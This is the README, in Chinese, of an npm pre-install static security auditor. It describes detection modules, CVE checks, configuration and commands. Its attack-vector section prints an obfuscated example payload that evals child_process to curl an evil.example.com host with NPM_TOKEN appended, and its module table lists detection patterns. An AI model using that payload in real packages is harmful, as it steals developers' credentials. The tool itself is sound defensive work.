KoblerS/np-audit
GitHub: KoblerS/np-audit
npm 包安装前的静态安全审计工具,用于检测恶意代码模式和已知漏洞。
Stars: 7 | Forks: 0

[](https://www.npmjs.com/package/np-audit)
[](https://www.npmjs.com/package/np-audit)
[](https://www.npmjs.com/package/np-audit)
[](https://github.com/KoblerS/np-audit/blob/main/LICENSE)
[](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml)
[](https://codecov.io/gh/KoblerS/np-audit)
# np-audit — npm 包审计器
针对 npm 包的静态安全分析 — 在它们运行**之前**检测混淆的生命周期脚本、已知漏洞和恶意模式。是 `npm install` 和 `npm ci` 的直接替代品。
**零依赖。** 仅使用纯 Node.js 内置模块。网络传输大小 **< 100 kB**。
```
npx np-audit scan express
```
```
npm install -g np-audit
npa scan # scan all deps
npa install # audit then install
alias npm='npa' # use as drop-in replacement
```
## Marshallers
检测被拆分为模块化的 marshallers — 每一个负责检测一种攻击信号:
| Marshaller | 检测内容 | 分数 |
| ---------- | --------------- | ----- |
| `eval/dynamic-exec` | `eval()`、`new Function()`、间接 eval、`vm.*`、带字符串的 `setTimeout` | 8 |
| `obfuscator.io` | `_0x` 变量命名模式(obfuscator.io 输出) | 9–80 |
| `high-entropy-string` | 具有高香农熵的长字符串或拼接链 | 6 |
| `hex-escape-density` | 密集的 `\xNN` 和 `\uXXXX` 转义序列 | 5–50 |
| `fromCharCode` | 带有大量参数的 `String.fromCharCode`、大型十进制字符代码数组 | 7 |
| `encoded-decode` | Base64/hex 解码(`atob`、`Buffer.from`),可选择与 `eval` 结合 | 3–8 |
| `child-process` | `require('child_process')`、`exec`、`spawn`、`fork`、worker_threads | 5 |
| `hex-array` | 大量 `0x` 十六进制字面量 | 7–60 |
| `process-env` | `process.env` 访问(凭据泄露信号) | 3 |
| `network-call` | `require('https')`、`fetch()`、`dns`、`net`、`tls` | 4 |
| `filesystem-manipulation` | `fs.writeFile`、`chmod`、`symlink`(后门持久化) | 3–4 |
| `runtime-download` | 下载并执行外部 runtime(Bun、Deno) | 9–50 |
| `vscode-autorun` | 带有 `runOn: folderOpen` 的 VS Code 任务(自动执行) | 30 |
| `known-vulnerability` | 通过 Snyk API 或 OSV.dev 发现的已知 CVE | 4–6 (WARN), 80 (恶意) |
分数随严重程度而变化 — 混淆指标的数量越多,分数越高。最终结论基于所有 marshallers 中的最高单项分数。
## 漏洞扫描 (CVE)
每个被扫描的包都会在代码分析的同时,与已知的漏洞数据库进行比对检查。
**默认:OSV.dev(无需设置)**
开箱即用 — 查询免费的 [OSV.dev](https://osv.dev/) API 以获取已知漏洞和恶意软件包公告。
**可选:Snyk API(数据更丰富)**
```
# 环境变量
export SNYK_API_TOKEN=your-token-here
# 或通过 Snyk CLI
snyk auth
```
Token 解析顺序:`SNYK_API_TOKEN` → `SNYK_TOKEN` → `~/.config/configstore/snyk.json`
| 严重性 | 分数 | 结论 |
| -------- | ----- | ------- |
| 恶意包 | 80 | DANGER |
| 10+ 个漏洞 | 6 | WARN |
| 5–9 个漏洞 | 5 | WARN |
| 1–4 个漏洞 | 4 | WARN |
非恶意的 CVE 会产生警告,但绝不会阻止安装。只有被确认的恶意包才会触发 DANGER。
## 用法
### 命令
| 命令 | 别名 | 描述 |
| ------------------------------ | ----------- | ---------------------------------- |
| `npa install [package]` | `npa i` | 审计然后运行 `npm install` |
| `npa ci` | — | 审计然后运行 `npm ci` |
| `npa scan [package]` | `npa s` | 仅扫描,不安装 |
| `npa config get` | `npa c get` | 显示当前配置 |
| `npa config set ` | `npa c set` | 更新配置值 |
| `npa alias --install` | — | 安装 shell alias |
| `npa alias --uninstall` | — | 移除 shell alias |
任何无法识别的命令都会被转发给 npm(例如 `npa run test`、`npa publish`)。
### 标志
| 标志 | 别名 | 适用于 | 描述 |
| ----------- | ----- | ----------------------- | ------------------------------------------------ |
| `--review` | `-r` | `install`、`ci` | 交互模式 — 选择允许哪些脚本 |
| `--json` | — | `install`、`ci`、`scan` | 机器可读的 JSON 输出 |
| `--no-dev` | — | `install`、`ci`、`scan` | 跳过 devDependencies |
| `--verbose` | — | 所有 | 显示抓取进度和额外详情 |
| `--version` | `-v` | — | 打印版本并退出 |
| `--help` | `-h` | — | 打印帮助并退出 |
### 交互式 `--review` 模式
```
npa install --review
```
```
npa --review mode
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
Found 3 package(s) with install scripts:
[✓ allow] esbuild@0.24.2 postinstall: post-install.js OK
▶ [✗ deny ] evil-sdk@1.0.0 postinstall: install.js DANGER (score: 9)
[✓ allow] @scope/pkg@2.1.0 postinstall: install.js WARN (score: 5)
2 allowed 1 denied
```
## 配置
配置存储在 `~/.npmauditor.json`(全局)中,并且可以通过项目中的 `.npmauditor.json` 进行覆盖。
```
npa config get # Show current config
npa config set blockScore 6 # Block at score 6+
npa config set skipPackages '["esbuild"]' # Trust specific packages
npa config set skipScopes '["@types"]' # Trust entire scopes
```
### 所有配置键
| 键 | 默认值 | 描述 |
| ----------------- | ---------------------------- | --------------------------------------- |
| `blockScore` | `7` | 触发 DANGER 的分数阈值(退出代码 1) |
| `warnScore` | `4` | 触发 WARN 的分数阈值(退出代码 0) |
| `registry` | `https://registry.npmjs.org` | npm registry URL |
| `timeout` | `30000` | HTTP 请求超时 (ms) |
| `parallelFetches` | `5` | 并发下载 |
| `skipScopes` | `[]` | 要跳过的 `@scope` 前缀 |
| `skipPackages` | `[]` | 要跳过的包名 |
| `silent` | `false` | 未发现问题时抑制输出 |
| `scanSelf` | `true` | 扫描自身项目的生命周期脚本 |
| `maxTarballSize` | `50MB` | 最大解压后的 tarball 大小(防炸弹保护) |
| `checkVulnerabilities` | `true` | 针对 CVE 数据库检查包 |
| `deepResolve` | `false` | 解析完整的传递依赖树 |
| `disabledMarshallers` | `[]` | 扫描期间要跳过的 Marshaller 名称 |
### 禁用 marshallers
您可以通过将特定 marshaller 的名称添加到 `disabledMarshallers` 中来禁用它们的检测检查:
```
npa config set disabledMarshallers '["process-env", "network-call"]'
```
要查看所有可用的 marshaller 名称及其当前状态:
```
npa config marshallers
```
当某个 marshaller 对您的工作流产生误报时,这会很有用。被禁用的 marshaller 在静态代码分析和包级别检查期间都会被完全跳过。
## Shell Alias
将 npa 用作透明的 npm 替代品:
```
npa alias --install # adds: alias npm='npa'
source ~/.zshrc # reload shell
```
现在 `npm install`、`npm ci` 会自动进行扫描。所有其他 npm 命令(`npm run`、`npm test`、`npm publish`)都将原样透传。
```
npa alias --uninstall # remove the alias
```
## 工作原理
1. **解析** `package-lock.json` (v1/v2/v3) 或从 `package.json` 进行解析
2. **抓取** 来自 registry 的 tarball(或从 `node_modules` 读取)
3. **解析** 生命周期命令 — 分割 `&&`/`||`/`;`/`|`,处理 `node -e`、`sh -c`、shell 脚本
4. **遍历** 从每个入口开始的 `require()`/`import` 图(带有循环检测、50 个文件 / 5 MB 上限)
5. **分析** 使用所有 marshallers — 静态代码检查 + CVE 数据库查询
6. **评分** 并分类:DANGER / WARN / OK
7. **报告** 或继续执行安装
## 攻击向量
供应链攻击会滥用 npm 生命周期脚本。当您运行 `npm install` 时,任何 `preinstall`/`install`/`postinstall` 脚本都会自动运行。攻击者将 payload 隐藏在混淆代码背后:
```
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
```
真实世界的事件:
- **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — 比特币钱包凭据盗窃
- **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — 加密货币矿工 + 信息窃取器
- **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — 针对特定地理区域的擦除型恶意软件
- **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — 维护者蓄意破坏
- **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — 针对企业开发者的受损包
`npa` **绝不执行** 脚本。它只会下载并对其进行静态分析。
## 退出代码
| 代码 | 含义 |
| ---- | ----------------------------------- |
| `0` | 全部通过或仅有警告 |
| `1` | 有一个或多个包被阻止 |
## 许可证
MIT
标签:CISA项目, DNS 反向解析, GNU通用公共许可证, MITM代理, Node.js, npm, 安全专业人员, 文档结构分析, 暗色界面, 自定义脚本, 配置审计, 错误基检测, 静态代码分析